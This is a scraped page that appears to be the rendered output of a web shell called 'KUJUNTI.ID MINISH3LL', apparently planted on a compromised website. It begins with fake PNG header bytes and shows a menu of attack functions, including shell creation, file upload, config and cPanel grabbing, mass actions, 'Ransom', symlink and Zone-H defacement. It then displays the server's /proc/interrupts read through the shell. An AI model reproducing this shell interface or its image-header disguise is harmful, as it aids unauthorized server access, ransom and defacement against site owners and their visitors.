\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82 csarite.com
KUJUNTI.ID MINISH3LL
Path : /proc/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : //proc/interrupts


           CPU0       CPU1       CPU2       
  0:         48          0          0   IO-APIC   2-edge      timer
  1:          0          0         19   IO-APIC   1-edge      i8042
  4:          0       1207         30   IO-APIC   4-edge      ttyS0
  6:          0          3          0   IO-APIC   6-edge      floppy
  8:          1          0          0   IO-APIC   8-edge      rtc0
  9:          0          0          0   IO-APIC   9-fasteoi   acpi
 10:          0          0          0   IO-APIC  10-fasteoi   virtio2
 12:          0         15          0   IO-APIC  12-edge      i8042
 14:          0          0          0   IO-APIC  14-edge      ata_piix
 15:   15562316          0          0   IO-APIC  15-edge      ata_piix
 24:          0          0          0   PCI-MSI 98304-edge      virtio3-config
 25:          0         19          0   PCI-MSI 98305-edge      virtio3-virtqueues
 26:          0          0         10   PCI-MSI 49152-edge      virtio0-config
 27:       1437  201063930          0   PCI-MSI 49153-edge      virtio0-input.0
 28:  223307179          0       1417   PCI-MSI 49154-edge      virtio0-output.0
 29:          0          0          0   PCI-MSI 65536-edge      virtio1-config
 30:          0          0          0   PCI-MSI 65537-edge      virtio1-control
 31:          0          0          0   PCI-MSI 65538-edge      virtio1-event
 32:          0          0 1934226124   PCI-MSI 65539-edge      virtio1-request
 33:         36          0          0   PCI-MSI 114688-edge      xhci_hcd
 34:          0          0          0   PCI-MSI 114689-edge      xhci_hcd
 35:          0          0          0   PCI-MSI 114690-edge      xhci_hcd
 36:          0          0          0   PCI-MSI 114691-edge      xhci_hcd
NMI:          0          0          0   Non-maskable interrupts
LOC: 1207307316 1253846086 1278480506   Local timer interrupts
SPU:          0          0          0   Spurious interrupts
PMI:          0          0          0   Performance monitoring interrupts
IWI:          0          2          0   IRQ work interrupts
RTR:          0          0          0   APIC ICR read retries
RES:  136146468  141137943   49190227   Rescheduling interrupts
CAL: 3340742740 3263743716 1700693211   Function call interrupts
TLB:   78701085   77085427   82787248   TLB shootdowns
TRM:          0          0          0   Thermal event interrupts
THR:          0          0          0   Threshold APIC interrupts
DFR:          0          0          0   Deferred Error APIC interrupts
MCE:          0          0          0   Machine check exceptions
MCP:      50382      50382      50382   Machine check polls
ERR:          0
MIS:          0
PIN:          0          0          0   Posted-interrupt notification event
NPI:          0          0          0   Nested posted-interrupt event
PIW:          0          0          0   Posted-interrupt wakeup event

© KUJUNTI.ID